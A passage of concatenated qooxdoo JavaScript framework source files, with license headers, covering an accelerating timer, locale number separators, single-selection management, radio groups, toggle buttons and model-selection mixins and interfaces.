1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * Timer, which accelerates after each interval. The initial delay and the * interval time can be set using the properties {@link #firstInterval} * and {@link #interval}. The {@link #interval} events will be fired with * decreasing interval times while the timer is running, until the {@link #minimum} * is reached. The {@link #decrease} property sets the amount of milliseconds * which will decreased after every firing. * * This class is e.g. used in the {@link qx.ui.form.RepeatButton} and * {@link qx.ui.form.HoverButton} widgets. */ qx.Class.define("qx.event.AcceleratingTimer", { extend : qx.core.Object, construct : function() { this.base(arguments); this.__timer = new qx.event.Timer(this.getInterval()); this.__timer.addListener("interval", this._onInterval, this); }, events : { /** This event if fired each time the interval time has elapsed */ "interval" : "qx.event.type.Event" }, properties : { /** * Interval used after the first run of the timer. Usually a smaller value * than the "firstInterval" property value to get a faster reaction. */ interval : { check : "Integer", init : 100 }, /** * Interval used for the first run of the timer. Usually a greater value * than the "interval" property value to a little delayed reaction at the first * time. */ firstInterval : { check : "Integer", init : 500 }, /** This configures the minimum value for the timer interval. */ minimum : { check : "Integer", init : 20 }, /** Decrease of the timer on each interval (for the next interval) until minTimer reached. */ decrease : { check : "Integer", init : 2 } }, members : { __timer : null, __currentInterval : null, /** * Reset and start the timer. */ start : function() { this.__timer.setInterval(this.getFirstInterval()); this.__timer.start(); }, /** * Stop the timer */ stop : function() { this.__timer.stop(); this.__currentInterval = null; }, /** * Interval event handler */ _onInterval : function() { this.__timer.stop(); if (this.__currentInterval == null) { this.__currentInterval = this.getInterval(); } this.__currentInterval = Math.max( this.getMinimum(), this.__currentInterval - this.getDecrease() ); this.__timer.setInterval(this.__currentInterval); this.__timer.start(); this.fireEvent("interval"); } }, destruct : function() { this._disposeObjects("__timer"); } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Andreas Ecker (ecker) * Fabian Jakobs (fjakobs) ************************************************************************ */ /* #cldr */ /** * Provides information about locale-dependent number formatting (like the decimal * separator). */ qx.Class.define("qx.locale.Number", { statics : { /** * Get decimal separator for number formatting * * @param locale {String} optional locale to be used * @return {String} decimal separator. */ getDecimalSeparator : function(locale) { return qx.locale.Manager.getInstance().localize("cldr_number_decimal_separator", [], locale) }, /** * Get thousand grouping separator for number formatting * * @param locale {String} optional locale to be used * @return {String} group separator. */ getGroupSeparator : function(locale) { return qx.locale.Manager.getInstance().localize("cldr_number_group_separator", [], locale) }, /** * Get percent format string * * @param locale {String} optional locale to be used * @return {String} percent format string. */ getPercentFormat : function(locale) { return qx.locale.Manager.getInstance().localize("cldr_number_percent_format", [], locale) } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * Each object, which should be managed by a {@link RadioGroup} have to * implement this interface. */ qx.Interface.define("qx.ui.form.IRadioItem", { /* ***************************************************************************** EVENTS ***************************************************************************** */ events : { /** Fired when the item was checked or unchecked */ "changeValue" : "qx.event.type.Data" }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /** * Set whether the item is checked * * @param value {Boolean} whether the item should be checked */ setValue : function(value) {}, /** * Get whether the item is checked * * @return {Boolean} whether the item it checked */ getValue : function() {}, /** * Set the radiogroup, which manages this item * * @param value {qx.ui.form.RadioGroup} The radiogroup, which should * manage the item. */ setGroup : function(value) { this.assertInstance(value, qx.ui.form.RadioGroup); }, /** * Get the radiogroup, which manages this item * * @return {qx.ui.form.RadioGroup} The radiogroup, which manages the item. */ getGroup : function() {} } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Christian Hagendorn (chris_schmidt) ************************************************************************ */ /** * This mixin links all methods to manage the single selection. * * The class which includes the mixin has to implements two methods: * * <ul> * <li><code>_getItems</code>, this method has to return a <code>Array</code> * of <code>qx.ui.core.Widget</code> that should be managed from the manager. * </li> * <li><code>_isAllowEmptySelection</code>, this method has to return a * <code>Boolean</code> value for allowing empty selection or not. * </li> * </ul> */ qx.Mixin.define("qx.ui.core.MSingleSelectionHandling", { /* ***************************************************************************** EVENTS ***************************************************************************** */ events : { /** Fires after the selection was modified */ "changeSelection" : "qx.event.type.Data" }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /** {qx.ui.core.SingleSelectionManager} the single selection manager */ __manager : null, /* --------------------------------------------------------------------------- PUBLIC API --------------------------------------------------------------------------- */ /** * Returns an array of currently selected items. * * Note: The result is only a set of selected items, so the order can * differ from the sequence in which the items were added. * * @return {qx.ui.core.Widget[]} List of items. */ getSelection : function() { var selected = this.__getManager().getSelected(); if (selected) { return [selected]; } else { return []; } }, /** * Replaces current selection with the given items. * * @param items {qx.ui.core.Widget[]} Items to select. * @throws an exception if one of the items is not a child element and if * items contains more than one elements. */ setSelection : function(items) { switch(items.length) { case 0: this.resetSelection(); break; case 1: this.__getManager().setSelected(items[0]); break; default: throw new Error("Could only select one item, but the selection" + " array contains " + items.length + " items!"); } }, /** * Clears the whole selection at once. */ resetSelection : function() { this.__getManager().resetSelected(); }, /** * Detects whether the given item is currently selected. * * @param item {qx.ui.core.Widget} Any valid selectable item. * @return {Boolean} Whether the item is selected. * @throws an exception if one of the items is not a child element. */ isSelected : function(item) { return this.__getManager().isSelected(item); }, /** * Whether the selection is empty. * * @return {Boolean} Whether the selection is empty. */ isSelectionEmpty : function() { return this.__getManager().isSelectionEmpty(); }, /** * Returns all elements which are selectable. * * @param all {boolean} true for all selectables, false for the * selectables the user can interactively select * @return {qx.ui.core.Widget[]} The contained items. */ getSelectables: function(all) { return this.__getManager().getSelectables(all); }, /* --------------------------------------------------------------------------- EVENT HANDLER --------------------------------------------------------------------------- */ /** * Event listener for <code>changeSelected</code> event on single * selection manager. * * @param e {qx.event.type.Data} Data event. */ _onChangeSelected : function(e) { var newValue = e.getData(); var oldVlaue = e.getOldData(); newValue == null ? newValue = [] : newValue = [newValue]; oldVlaue == null ? oldVlaue = [] : oldVlaue = [oldVlaue]; this.fireDataEvent("changeSelection", newValue, oldVlaue); }, /** * Return the selection manager if it is already exists, otherwise creates * the manager. * * @return {qx.ui.core.SingleSelectionManager} Single selection manager. */ __getManager : function() { if (this.__manager == null) { var that = this; this.__manager = new qx.ui.core.SingleSelectionManager( { getItems : function() { return that._getItems(); }, isItemSelectable : function(item) { if (that._isItemSelectable) { return that._isItemSelectable(item); } else { return item.isVisible(); } } }); this.__manager.addListener("changeSelected", this._onChangeSelected, this); } this.__manager.setAllowEmptySelection(this._isAllowEmptySelection()); return this.__manager; } }, /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ destruct : function() { this._disposeObjects("__manager"); } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Christian Hagendorn (chris_schmidt) ************************************************************************ */ /** * Responsible for the single selection management. * * The class manage a list of {@link qx.ui.core.Widget} which are returned from * {@link qx.ui.core.ISingleSelectionProvider#getItems}. * * @internal */ qx.Class.define("qx.ui.core.SingleSelectionManager", { extend : qx.core.Object, /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * Construct the single selection manager. * * @param selectionProvider {qx.ui.core.ISingleSelectionProvider} The provider * for selection. */ construct : function(selectionProvider) { this.base(arguments); if (qx.core.Environment.get("qx.debug")) { qx.core.Assert.assertInterface(selectionProvider, qx.ui.core.ISingleSelectionProvider, "Invalid selectionProvider!"); } this.__selectionProvider = selectionProvider; }, /* ***************************************************************************** EVENTS ***************************************************************************** */ events : { /** Fires after the selection was modified */ "changeSelected" : "qx.event.type.Data" }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /** * If the value is <code>true</code> the manager allows an empty selection, * otherwise the first selectable element returned from the * <code>qx.ui.core.ISingleSelectionProvider</code> will be selected. */ allowEmptySelection : { check : "Boolean", init : true, apply : "__applyAllowEmptySelection" } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /** {qx.ui.core.Widget} The selected widget. */ __selected : null, /** {qx.ui.core.ISingleSelectionProvider} The provider for selection management */ __selectionProvider : null, /* --------------------------------------------------------------------------- PUBLIC API --------------------------------------------------------------------------- */ /** * Returns the current selected element. * * @return {qx.ui.core.Widget | null} The current selected widget or * <code>null</code> if the selection is empty. */ getSelected : function() { return this.__selected; }, /** * Selects the passed element. * * @param item {qx.ui.core.Widget} Element to select. * @throws Error if the element is not a child element. */ setSelected : function(item) { if (!this.__isChildElement(item)) { throw new Error("Could not select " + item + ", because it is not a child element!"); } this.__setSelected(item); }, /** * Reset the current selection. If {@link #allowEmptySelection} is set to * <code>true</code> the first element will be selected. */ resetSelected : function(){ this.__setSelected(null); }, /** * Return <code>true</code> if the passed element is selected. * * @param item {qx.ui.core.Widget} Element to check if selected. * @return {Boolean} <code>true</code> if passed element is selected, * <code>false</code> otherwise. * @throws Error if the element is not a child element. */ isSelected : function(item) { if (!this.__isChildElement(item)) { throw new Error("Could not check if " + item + " is selected," + " because it is not a child element!"); } return this.__selected === item; }, /** * Returns <code>true</code> if selection is empty. * * @return {Boolean} <code>true</code> if selection is empty, * <code>false</code> otherwise. */ isSelectionEmpty : function() { return this.__selected == null; }, /** * Returns all elements which are selectable. * * @param all {boolean} true for all selectables, false for the * selectables the user can interactively select * @return {qx.ui.core.Widget[]} The contained items. */ getSelectables : function(all) { var items = this.__selectionProvider.getItems(); var result = []; for (var i = 0; i < items.length; i++) { if (this.__selectionProvider.isItemSelectable(items[i])) { result.push(items[i]); } } // in case of an user selecable list, remove the enabled items if (!all) { for (var i = result.length -1; i >= 0; i--) { if (!result[i].getEnabled()) { result.splice(i, 1); } }; } return result; }, /* --------------------------------------------------------------------------- APPLY METHODS --------------------------------------------------------------------------- */ // apply method __applyAllowEmptySelection : function(value, old) { if (!value) { this.__setSelected(this.__selected); } }, /* --------------------------------------------------------------------------- HELPERS --------------------------------------------------------------------------- */ /** * Set selected element. * * If passes value is <code>null</code>, the selection will be reseted. * * @param item {qx.ui.core.Widget | null} element to select, or * <code>null</code> to reset selection. */ __setSelected : function(item) { var oldSelected = this.__selected; var newSelected = item; if (newSelected != null && oldSelected === newSelected) { return; } if (!this.isAllowEmptySelection() && newSelected == null) { var firstElement = this.getSelectables(true)[0]; if (firstElement) { newSelected = firstElement; } } this.__selected = newSelected; this.fireDataEvent("changeSelected", newSelected, oldSelected); }, /** * Checks if passed element is a child element. * * @param item {qx.ui.core.Widget} Element to check if child element. * @return {Boolean} <code>true</code> if element is child element, * <code>false</code> otherwise. */ __isChildElement : function(item) { var items = this.__selectionProvider.getItems(); for (var i = 0; i < items.length; i++) { if (items[i] === item) { return true; } } return false; } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { if (this.__selectionProvider.toHashCode) { this._disposeObjects("__selectionProvider"); } else { this.__selectionProvider = null; } this._disposeObjects("__selected"); } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Christian Hagendorn (chris_schmidt) ************************************************************************ */ /** * Defines the callback for the single selection manager. * * @internal */ qx.Interface.define("qx.ui.core.ISingleSelectionProvider", { /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /** * Returns the elements which are part of the selection. * * @return {qx.ui.core.Widget[]} The widgets for the selection. */ getItems: function() {}, /** * Returns whether the given item is selectable. * * @param item {qx.ui.core.Widget} The item to be checked * @return {Boolean} Whether the given item is selectable */ isItemSelectable : function(item) {} } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * This mixin offers the selection of the model properties. * It can only be included if the object including it implements the * {@link qx.ui.core.ISingleSelection} interface and the selectables implement * the {@link qx.ui.form.IModel} interface. */ qx.Mixin.define("qx.ui.form.MModelSelection", { construct : function() { // create the selection array this.__modelSelection = new qx.data.Array(); // listen to the changes this.__modelSelection.addListener("change", this.__onModelSelectionArrayChange, this); this.addListener("changeSelection", this.__onModelSelectionChange, this); }, events : { /** * Pseudo event. It will never be fired because the array itself can not * be changed. But the event description is needed for the data binding. */ changeModelSelection : "qx.event.type.Data" }, members : { __modelSelection : null, __inSelectionChange : false, /** * Handler for the selection change of the including class e.g. SelectBox, * List, ... * It sets the new modelSelection via {@link #setModelSelection}. */ __onModelSelectionChange : function() { if (this.__inSelectionChange) { return; } var data = this.getSelection(); // create the array with the modes inside var modelSelection = []; for (var i = 0; i < data.length; i++) { var item = data[i]; // fallback if getModel is not implemented var model = item.getModel ? item.getModel() : null; if (model !== null) { modelSelection.push(model); } }; // only change the selection if you are sure that its correct [BUG #3748] if (modelSelection.length === data.length) { try { this.setModelSelection(modelSelection); } catch (e) { throw new Error( "Could not set the model selection. Maybe your models are not unique?" ); } } }, /** * Listener for the change of the internal model selection data array. */ __onModelSelectionArrayChange : function() { this.__inSelectionChange = true; var selectables = this.getSelectables(true); var itemSelection = []; var modelSelection = this.__modelSelection.toArray(); for (var i = 0; i < modelSelection.length; i++) { var model = modelSelection[i]; for (var j = 0; j < selectables.length; j++) { var selectable = selectables[j]; // fallback if getModel is not implemented var selectableModel = selectable.getModel ? selectable.getModel() : null; if (model === selectableModel) { itemSelection.push(selectable); break; } } } this.setSelection(itemSelection); this.__inSelectionChange = false; // check if the setting has worked var currentSelection = this.getSelection(); if (!qx.lang.Array.equals(currentSelection, itemSelection)) { // if not, set the actual selection this.__onModelSelectionChange(); } }, /** * Returns always an array of the models of the selected items. If no * item is selected or no model is given, the array will be empty. * * *CAREFUL!* The model selection can only work if every item item in the * selection providing widget has a model property! * * @return {qx.data.Array} An array of the models of the selected items. */ getModelSelection : function() { return this.__modelSelection; }, /** * Takes the given models in the array and searches for the corresponding * selectables. If an selectable does have that model attached, it will be * selected. * * *Attention:* This method can have a time complexity of O(n^2)! * * *CAREFUL!* The model selection can only work if every item item in the * selection providing widget has a model property! * * @param modelSelection {Array} An array of models, which should be * selected. */ setModelSelection : function(modelSelection) { // check for null values if (!modelSelection) { this.__modelSelection.removeAll(); return; } if (qx.core.Environment.get("qx.debug")) { this.assertArray(modelSelection, "Please use an array as parameter."); } // add the first two parameter modelSelection.unshift(this.__modelSelection.getLength()); // remove index modelSelection.unshift(0); // start index var returnArray = this.__modelSelection.splice.apply(this.__modelSelection, modelSelection); returnArray.dispose(); } }, destruct : function() { this._disposeObjects("__modelSelection"); } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * This interface should be used in all objects managing a set of items * implementing {@link qx.ui.form.IModel}. */ qx.Interface.define("qx.ui.form.IModelSelection", { /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /** * Tries to set the selection using the given array containing the * representative models for the selectables. * * @param value {Array} An array of models. */ setModelSelection : function(value) {}, /** * Returns an array of the selected models. * * @return {Array} An array containing the models of the currently selected * items. */ getModelSelection : function() {} } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Andreas Ecker (ecker) * Christian Hagendorn (chris_schmidt) * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * The radio group handles a collection of items from which only one item * can be selected. Selection another item will deselect the previously selected * item. * * This class is e.g. used to create radio groups or {@link qx.ui.form.RadioButton} * or {@link qx.ui.toolbar.RadioButton} instances. * * We also offer a widget for the same purpose which uses this class. So if * you like to act with a widget instead of a pure logic coupling of the * widgets, take a look at the {@link qx.ui.form.RadioButtonGroup} widget. */ qx.Class.define("qx.ui.form.RadioGroup", { extend : qx.core.Object, implement : [ qx.ui.core.ISingleSelection, qx.ui.form.IForm, qx.ui.form.IModelSelection ], include : [ qx.ui.core.MSingleSelectionHandling, qx.ui.form.MModelSelection ], /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param varargs {qx.core.Object} A variable number of items, which are * initially added to the radio group, the first item will be selected. */ construct : function(varargs) { this.base(arguments); // create item array this.__items = []; // add listener before call add!!! this.addListener("changeSelection", this.__onChangeSelection, this); if (varargs != null) { this.add.apply(this, arguments); } }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /** * Whether the radio group is enabled */ enabled : { check : "Boolean", apply : "_applyEnabled", event : "changeEnabled", init: true }, /** * Whether the selection should wrap around. This means that the successor of * the last item is the first item. */ wrap : { check : "Boolean", init: true }, /** * If is set to <code>true</code> the selection could be empty, * otherwise is always one <code>RadioButton</code> selected. */ allowEmptySelection : { check : "Boolean", init : false, apply : "_applyAllowEmptySelection" }, /** * Flag signaling if the group at all is valid. All children will have the * same state. */ valid : { check : "Boolean", init : true, apply : "_applyValid", event : "changeValid" }, /** * Flag signaling if the group is required. */ required : { check : "Boolean", init : false, event : "changeRequired" }, /** * Message which is shown in an invalid tooltip. */ invalidMessage : { check : "String", init: "", event : "changeInvalidMessage", apply : "_applyInvalidMessage" }, /** * Message which is shown in an invalid tooltip if the {@link #required} is * set to true. */ requiredInvalidMessage : { check : "String", nullable : true, event : "changeInvalidMessage" } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /** {qx.ui.form.IRadioItem[]} The items of the radio group */ __items : null, /* --------------------------------------------------------------------------- UTILITIES --------------------------------------------------------------------------- */ /** * Get all managed items * * @return {qx.ui.form.IRadioItem[]} All managed items. */ getItems : function() { return this.__items; }, /* --------------------------------------------------------------------------- REGISTRY --------------------------------------------------------------------------- */ /** * Add the passed items to the radio group. * * @param varargs {qx.ui.form.IRadioItem} A variable number of items to add. */ add : function(varargs) { var items = this.__items; var item; for (var i=0, l=arguments.length; i<l; i++) { item = arguments[i]; if (qx.lang.Array.contains(items, item)) { continue; } // Register listeners item.addListener("changeValue", this._onItemChangeChecked, this); // Push RadioButton to array items.push(item); // Inform radio button about new group item.setGroup(this); // Need to update internal value? if (item.getValue()) { this.setSelection([item]); } } // Select first item when only one is registered if (!this.isAllowEmptySelection() && items.length > 0 && !this.getSelection()[0]) { this.setSelection([items[0]]); } }, /** * Remove an item from the radio group. * * @param item {qx.ui.form.IRadioItem} The item to remove. */ remove : function(item) { var items = this.__items; if (qx.lang.Array.contains(items, item)) { // Remove RadioButton from array qx.lang.Array.remove(items, item); // Inform radio button about new group if (item.getGroup() === this) { item.resetGroup(); } // Deregister listeners item.removeListener("changeValue", this._onItemChangeChecked, this); // if the radio was checked, set internal selection to null if (item.getValue()) { this.resetSelection(); } } }, /** * Returns an array containing the group's items. * * @return {qx.ui.form.IRadioItem[]} The item array */ getChildren : function() { return this.__items; }, /* --------------------------------------------------------------------------- LISTENER FOR ITEM CHANGES --------------------------------------------------------------------------- */ /** * Event listener for <code>changeValue</code> event of every managed item. * * @param e {qx.event.type.Data} Data event */ _onItemChangeChecked : function(e) { var item = e.getTarget(); if (item.getValue()) { this.setSelection([item]); } else if (this.getSelection()[0] == item) { this.resetSelection(); } }, /* --------------------------------------------------------------------------- APPLY ROUTINES --------------------------------------------------------------------------- */ // property apply _applyInvalidMessage : function(value, old) { for (var i = 0; i < this.__items.length; i++) { this.__items[i].setInvalidMessage(value); } }, // property apply _applyValid: function(value, old) { for (var i = 0; i < this.__items.length; i++) { this.__items[i].setValid(value); } }, // property apply _applyEnabled : function(value, old) { var items = this.__items; if (value == null) { for (var i=0, l=items.length; i<l; i++) { items[i].resetEnabled(); } } else { for (var i=0, l=items.length; i<l; i++) { items[i].setEnabled(value); } } }, // property apply _applyAllowEmptySelection : function(value, old) { if (!value && this.isSelectionEmpty()) { this.resetSelection(); } }, /* --------------------------------------------------------------------------- SELECTION --------------------------------------------------------------------------- */ /** * Select the item following the given item. */ selectNext : function() { var item = this.getSelection()[0]; var items = this.__items; var index = items.indexOf(item); if (index == -1) { return; } var i = 0; var length = items.length; // Find next enabled item if (this.getWrap()) { index = (index + 1) % length; } else { index = Math.min(index + 1, length - 1); } while (i < length && !items[index].getEnabled()) { index = (index + 1) % length; i++; } this.setSelection([items[index]]); }, /** * Select the item previous the given item. */ selectPrevious : function() { var item = this.getSelection()[0]; var items = this.__items; var index = items.indexOf(item); if (index == -1) { return; } var i = 0; var length = items.length; // Find previous enabled item if (this.getWrap()) { index = (index - 1 + length) % length; } else { index = Math.max(index - 1, 0); } while (i < length && !items[index].getEnabled()) { index = (index - 1 + length) % length; i++; } this.setSelection([items[index]]); }, /* --------------------------------------------------------------------------- HELPER METHODS FOR SELECTION API --------------------------------------------------------------------------- */ /** * Returns the items for the selection. * * @return {qx.ui.form.IRadioItem[]} Items to select. */ _getItems : function() { return this.getItems(); }, /** * Returns if the selection could be empty or not. * * @return {Boolean} <code>true</code> If selection could be empty, * <code>false</code> otherwise. */ _isAllowEmptySelection: function() { return this.isAllowEmptySelection(); }, /** * Returns whether the item is selectable. In opposite to the default * implementation (which checks for visible items) every radio button * which is part of the group is selected even if it is currently not visible. * * @param item {qx.ui.form.IRadioItem} The item to check if its selectable. * @return {Boolean} <code>true</code> if the item is part of the radio group * <code>false</code> otherwise. */ _isItemSelectable : function(item) { return this.__items.indexOf(item) != -1; }, /** * Event handler for <code>changeSelection</code>. * * @param e {qx.event.type.Data} Data event. */ __onChangeSelection : function(e) { var value = e.getData()[0]; var old = e.getOldData()[0]; if (old) { old.setValue(false); } if (value) { value.setValue(true); } } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { this._disposeArray("__items"); } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * A toggle Button widget * * If the user presses the button by clicking on it pressing the enter or * space key, the button toggles between the pressed an not pressed states. * There is no execute event, only a {@link qx.ui.form.ToggleButton#changeValue} * event. */ qx.Class.define("qx.ui.form.ToggleButton", { extend : qx.ui.basic.Atom, include : [ qx.ui.core.MExecutable ], implement : [ qx.ui.form.IBooleanForm, qx.ui.form.IExecutable, qx.ui.form.IRadioItem ], /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * Creates a ToggleButton. * * @param label {String} The text on the button. * @param icon {String} An URI to the icon of the button. */ construct : function(label, icon) { this.base(arguments, label, icon); // register mouse events this.addListener("mouseover", this._onMouseOver); this.addListener("mouseout", this._onMouseOut); this.addListener("mousedown", this._onMouseDown); this.addListener("mouseup", this._onMouseUp); // register keyboard events this.addListener("keydown", this._onKeyDown); this.addListener("keyup", this._onKeyUp); // register execute event this.addListener("execute", this._onExecute, this); }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties: { // overridden appearance: { refine: true, init: "button" }, // overridden focusable : { refine : true, init : true }, /** The value of the widget. True, if the widget is checked. */ value : { check : "Boolean", nullable : true, event : "changeValue", apply : "_applyValue", init : false }, /** The assigned qx.ui.form.RadioGroup which handles the switching between registered buttons. */ group : { check : "qx.ui.form.RadioGroup", nullable : true, apply : "_applyGroup" }, /** * Whether the button has a third state. Use this for tri-state checkboxes. * * When enabled, the value null of the property value stands for "undetermined", * while true is mapped to "enabled" and false to "disabled" as usual. Note * that the value property is set to false initially. * */ triState : { check : "Boolean", apply : "_applyTriState", nullable : true, init : null } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /** The assigned {@link qx.ui.form.RadioGroup} which handles the switching between registered buttons */ _applyGroup : function(value, old) { if (old) { old.remove(this); } if (value) { value.add(this); } }, /** * Changes the state of the button dependent on the checked value. * * @param value {Boolean} Current value * @param old {Boolean} Previous value */ _applyValue : function(value, old) { value ? this.addState("checked") : this.removeState("checked"); if (this.isTriState()) { if (value === null) { this.addState("undetermined"); } else if (old === null) { this.removeState("undetermined"); } } }, /** * Apply value property when triState property is modified. * * @param value {Boolean} Current value * @param old {Boolean} Previous value */ _applyTriState : function(value, old) { this._applyValue(this.getValue()); }, /** * Handler for the execute event. * * @param e {qx.event.type.Event} The execute event. */ _onExecute : function(e) { this.toggleValue(); }, /** * Listener method for "mouseover" event. * <ul> * <li>Adds state "hovered"</li> * <li>Removes "abandoned" and adds "pressed" state (if "abandoned" state is set)</li> * </ul> * * @param e {Event} Mouse event * @return {void} */ _onMouseOver : function(e) { if (e.getTarget() !== this) { return; } this.addState("hovered"); if (this.hasState("abandoned")) { this.removeState("abandoned"); this.addState("pressed"); } }, /** * Listener method for "mouseout" event. * <ul> * <li>Removes "hovered" state</li> * <li>Adds "abandoned" state (if "pressed" state is set)</li> * <li>Removes "pressed" state (if "pressed" state is set and button is not checked) * </ul> * * @param e {Event} Mouse event * @return {void} */ _onMouseOut : function(e) { if (e.getTarget() !== this) { return; } this.removeState("hovered"); if (this.hasState("pressed")) { if (!this.getValue()) { this.removeState("pressed"); } this.addState("abandoned"); } }, /** * Listener method for "mousedown" event. * <ul> * <li>Activates capturing</li> * <li>Removes "abandoned" state</li> * <li>Adds "pressed" state</li> * </ul> * * @param e {Event} Mouse event * @return {void} */ _onMouseDown : function(e) { if (!e.isLeftPressed()) { return; } // Activate capturing if the button get a mouseout while // the button is pressed. this.capture(); this.removeState("abandoned"); this.addState("pressed"); e.stopPropagation(); }, /** * Listener method for "mouseup" event. * <ul> * <li>Releases capturing</li> * <li>Removes "pressed" state (if not "abandoned" state is set and "pressed" state is set)</li> * <li>Removes "abandoned" state (if set)</li> * <li>Toggles {@link #value} (if state "abandoned" is not set and state "pressed" is set)</li> * </ul> * * @param e {Event} Mouse event * @return {void} */ _onMouseUp : function(e) { this.releaseCapture(); if (this.hasState("abandoned")) { this.removeState("abandoned"); } else if (this.hasState("pressed")) { this.execute(); } this.removeState("pressed"); e.stopPropagation(); }, /** * Listener method for "keydown" event.<br/> * Removes "abandoned" and adds "pressed" state * for the keys "Enter" or "Space" * * @param e {Event} Key event * @return {void} */ _onKeyDown : function(e) { switch(e.getKeyIdentifier()) { case "Enter": case "Space": this.removeState("abandoned"); this.addState("pressed"); e.stopPropagation(); } }, /** * Listener method for "keyup" event.<br/> * Removes "abandoned" and "pressed" state (if "pressed" state is set) * for the keys "Enter" or "Space". It also toggles the {@link #value} property. * * @param e {Event} Key event * @return {void} */ _onKeyUp : function(e) { if (!this.hasState("pressed")) { return; } switch(e.getKeyIdentifier()) { case "Enter": case "Space": this.removeState("abandoned"); this.execute(); this.removeState("pressed"); e.stopPropagation(); } } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Can be included for implementing {@link qx.ui.form.IModel}. It only contains * a nullable property named 'model' with a 'changeModel' event. */ qx.Mixin.define("qx.ui.form.MModelProperty", { properties : { /** * Model property for storing additional information for the including * object. It can act as value property on form items for example. * * Be careful using that property as this is used for the * {@link qx.ui.form.MModelSelection} it has some restrictions: * * * Don't use equal models in one widget using the * {@link qx.ui.form.MModelSelection}. * * * Avoid setting only some model properties if the widgets are added to * a {@link qx.ui.form.MModelSelection} widge. * * Both restrictions result of the fact, that the set models are deputies * for their widget. */ model : { nullable: true, event: "changeModel", dereference : true } } });/* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Each object which wants to store data representative for the real item * should implement this interface. */ qx.Interface.define("qx.ui.form.IModel", { /* ***************************************************************************** EVENTS ***************************************************************************** */ events : { /** Fired when the model data changes */ "changeModel" : "qx.event.type.Data" }, /* ***************************************************************************** 